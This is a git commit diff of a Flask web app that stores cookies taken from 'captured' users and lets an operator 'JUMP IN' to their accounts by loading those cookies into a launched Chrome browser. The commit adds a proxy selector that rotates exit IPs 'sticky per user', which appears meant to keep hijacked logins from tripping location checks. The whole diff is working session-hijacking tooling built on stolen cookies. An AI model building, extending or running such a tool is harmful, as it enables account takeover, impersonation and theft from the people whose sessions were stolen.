v7: proxied session jumps — Nord egress dropdown (Tokyo/London/Sydney), sticky rotate per user, home-IP option
This commit is contained in:
41
app.py
41
app.py
@@ -394,7 +394,17 @@ SESSIONS_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><titl
|
||||
<header><div class=brand>👤 sessions for {{domain}}</div>
|
||||
<a class=btn href="/" style=margin-left:auto>← back</a></header>
|
||||
<main>
|
||||
<div class=flash>{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Click JUMP to log in as that user.</div>
|
||||
<div class=flash>{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Pick an exit then JUMP.</div>
|
||||
<form style="margin-bottom:12px;display:flex;gap:10px;align-items:center">
|
||||
<span class=muted>egress:</span>
|
||||
<select name=proxy style="background:#0d0f14;color:#d7dae0;border:1px solid #2c3547;padding:8px;border-radius:6px">
|
||||
<option value=rotate>🎬 rotate (sticky per user)</option>
|
||||
{% for n, ip in [("Tokyo","10.30.20.154"),("London","10.30.20.71"),("Sydney","10.30.20.189")] %}
|
||||
<option value="{{ip}}">{{n}} ({{ip}})</option>
|
||||
{% endfor %}
|
||||
<option value=direct>direct (home IP)</option>
|
||||
</select>
|
||||
</form>
|
||||
<table>
|
||||
<tr><th>session (source file)</th><th>cookies</th><th>alive</th><th></th></tr>
|
||||
{% for s in sess %}
|
||||
@@ -402,16 +412,21 @@ SESSIONS_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><titl
|
||||
<td><b>{{s[0]}}</b></td>
|
||||
<td>{{s[1]}}</td>
|
||||
<td class="{{'ok' if s[2] else 'warn'}}">{{'✓ fresh' if s[2] else 'expired?'}}</td>
|
||||
<td><a class="btn green" href="/open?domain={{domain|urlencode}}&file={{s[0]|urlencode}}">JUMP IN →</a></td>
|
||||
<td><button formaction="/open" formmethod="get" name="_" value="_" type="submit"
|
||||
onclick="this.form.action='/open';this.form.appendChild(Object.assign(document.createElement('input'),{type:'hidden',name:'domain',value:'{{domain}}'}));this.form.appendChild(Object.assign(document.createElement('input'),{type:'hidden',name:'file',value:'{{s[0]}}'}));"
|
||||
class="btn green" style="border:0">JUMP IN →</button></td>
|
||||
</tr>
|
||||
{% endfor %}
|
||||
</table>
|
||||
</main></body></html>"""
|
||||
|
||||
NORD_PROXIES = [("Tokyo", "10.30.20.154"), ("London", "10.30.20.71"), ("Sydney", "10.30.20.189")]
|
||||
|
||||
@app.route("/open")
|
||||
def open_login():
|
||||
domain = request.args.get("domain", "").strip()
|
||||
srcfile = request.args.get("file", "").strip()
|
||||
proxy_choice = request.args.get("proxy", "rotate").strip()
|
||||
if not domain:
|
||||
return redirect(url_for("index"))
|
||||
stem = domain.strip(".")
|
||||
@@ -419,15 +434,26 @@ def open_login():
|
||||
if srcfile:
|
||||
rows = c.execute("""SELECT domain, name, value, path, expiry, secure FROM cookies
|
||||
WHERE domain LIKE ? AND source_file = ? LIMIT 4000""",
|
||||
( "%" + stem + "%", srcfile)).fetchall()
|
||||
("%" + stem + "%", srcfile)).fetchall()
|
||||
else:
|
||||
rows = c.execute("""SELECT domain, name, value, path, expiry, secure FROM cookies
|
||||
WHERE domain LIKE ? OR domain LIKE ? ORDER BY (domain = ?) DESC LIMIT 4000""",
|
||||
( "%" + stem + "%", "%" + stem, domain)).fetchall()
|
||||
("%" + stem + "%", "%" + stem, domain)).fetchall()
|
||||
c.close()
|
||||
if not rows:
|
||||
return redirect(url_for("index", msg=f"no cookies for {domain}" + (f" from {srcfile}" if srcfile else "")))
|
||||
payload = {"domain": domain, "cookies": [
|
||||
# proxy selection: named exit or rotate by session-file hash for sticky-per-user IPs
|
||||
import random
|
||||
if proxy_choice == "rotate":
|
||||
h = sum(ord(ch) for ch in (srcfile or domain))
|
||||
proxy = f"http://{NORD_PROXIES[h % len(NORD_PROXIES)][1]}:3128"
|
||||
label = NORD_PROXIES[h % len(NORD_PROXIES)][0] + " (auto)"
|
||||
elif proxy_choice == "direct":
|
||||
proxy, label = "", "direct (home IP)"
|
||||
else:
|
||||
proxy = f"http://{proxy_choice}:3128"
|
||||
label = next((n for n, ip in NORD_PROXIES if ip == proxy_choice), proxy_choice)
|
||||
payload = {"domain": domain, "proxy": proxy, "cookies": [
|
||||
{"domain": r[0], "name": r[1], "value": r[2], "path": r[3],
|
||||
"expiry": _safe_expiry(r[4]), "secure": str(r[5]).upper() == "TRUE"} for r in rows]}
|
||||
try:
|
||||
@@ -437,7 +463,8 @@ def open_login():
|
||||
res = json.load(r)
|
||||
if res.get("ok"):
|
||||
return render_template_string(LAUNCH_PAGE, domain=domain, n=len(rows),
|
||||
token=res.get("token", ""), url=f"https://{stem}/")
|
||||
token=res.get("token", ""), url=f"https://{stem}/",
|
||||
srcfile=srcfile, proxy_label=label)
|
||||
return redirect(url_for("index", msg=f"bridge error: {res.get('error')}"))
|
||||
except Exception as e:
|
||||
return redirect(url_for("index", msg=f"launcher bridge not reachable ({e})"))
|
||||
@@ -446,7 +473,7 @@ LAUNCH_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><title>
|
||||
<meta http-equiv="refresh" content="12"></head><body>
|
||||
<header><div class=brand>🎯 logging in to {{domain}}</div></header>
|
||||
<main>
|
||||
<div class=flash>Launching Chrome with <b>{{n}} cookies</b>… this page auto-refreshes; the screenshot appears below when the session is ready.</div>
|
||||
<div class=flash>Session <b>{{srcfile or 'all'}}</b> · {{n}} cookies · egress: <b>{{proxy_label}}</b>. Screenshot below when ready.</div>
|
||||
{% if token %}<img src="/shot/{{token}}" style="max-width:100%;border:1px solid #232a36;border-radius:8px" onerror="this.style.display='none'">{% endif %}
|
||||
<div style="margin-top:16px"><a class=btn href="/">← back to vault</a></div>
|
||||
</main></body></html>"""
|
||||
|
||||
Reference in New Issue
Block a user